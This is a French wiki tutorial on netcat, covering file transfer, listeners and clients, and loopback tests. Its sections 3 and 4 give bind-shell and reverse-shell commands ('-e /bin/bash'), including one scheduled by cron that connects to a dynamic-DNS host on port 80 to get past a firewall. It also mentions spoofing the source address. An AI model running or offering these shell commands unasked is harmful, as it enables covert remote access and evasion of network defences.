Netcat

De BlaxWiki
Aller à la navigationAller à la recherche

- installer tout d'abord le package netcat (/usr/ports/net/netcat/ pour BDS , apt-get install netcat pour Debian)

Pour copier les fichier de PC1 vers PC2

- sur PC2, se rendre dans le répertoire ou l'on souhaite copier les données - nc -l -p 7000 | tar xvf - .

- sur PC1, se rendre dans le répetoire contenant les données que l'on souhaite copier - tar -cvf - . | nc -w 10 ip_client 7000

S'assurer de lancer netcat sur PC2 avant de le lancer sur PC1 :-)

Netcat est un basiquement un telnet mais du type couteau suisse, écritv par un hacker du nom de Hobbit.

Une variante est cryoptcat qui rajoute l'encryption.

Le test de netcat peut se faire sur une interface virtuelle:

#ifconfig lo:1 10.0.1.1

#ifconfig lo:2 10.0.1.2

NetCat permet de se connecter sur n'importe quel port:

#nc host port

Puis on peut ouvrir 2 consoles:

Une console est le serveur qui écoute sur le port 5600:

# nc –l –p 5600

l'autre est le client qui se connecte sur ce port:

#nc 10.0.1.1 5600

Maintenant tout ce que vous ferez sera répéter sur la 1° console:

Taper <ctrl-d> backspace enter, <ctrl-C>

Sur la 1° console :

#nc –l –p 5600 –vv

Sur la seconde:

#nc 10.0.1.1 5600

listening on [any] 5600 …

10.0.1.1: inverse host lookup failed: Unknown host

connect to [10.0.1.1] from (Unknown) [10.0.1.1] 33354

L'option –vv permet à netcat d'être verbeux, -v de l'être moins.
2.      Transfert de fichiers:

Sur le serveur:

#nc –v –w 30 –p 5600 l- >filename.back

Sur le client:

#nc –v –w 10.0.1.1 < filename

Magie: le fichier se transfere du client vers le serveur:

-w attente

>filename.back: toutes les entrées du serveur seront redirigées vers le fichier(pipe).
3.      telnet:

Sur la console :

#nc –l –p 5600 –e /bin/bash

Sur la 2° console:

#nc 10.0.1.1 5600

Maintenant nous sommes connectés sur la 1° machine sur un shell
4.      Reverse telnet:

Permettre un reverse telnet sur le port 80 pour passer le firewall:

Une commande qui peut être schedulée par cron

#nc –vv –l –p 80 _ écoute sur le port 80

Pour réaliser une connexion depuis le serveur:

#nc <nom.dyndns.org> 80 –e /bin/bash

et hop
5.      Serveur:

nc -l -p 1234 : écoute sur le port 1234 tcp

nc -l -u -p 1234 écoute sur le port 1234 udp

nc -l -p 1234 < fichier : écoute sur le port 1234 et envoie le contenu du fichier lors d'une connexion
6.      Client:

nc machine 1234 : se connecte sur le port 1234 tcp

nc -u machine 1234 : se connecte sur le port 1234 udp

nc -t machine 23 : ouvre une session telnet (il faut compiler avec l'option -DTELNET)

nc -s adip machine 1234 : spoofe une connexion depuis l'adresse adip. Cette adresse doit être l'adresse d'une carte réseau de la machine courante.

nc -g adgw machine 1234 : se connecte sur la machine en passant par adgw (source-routing)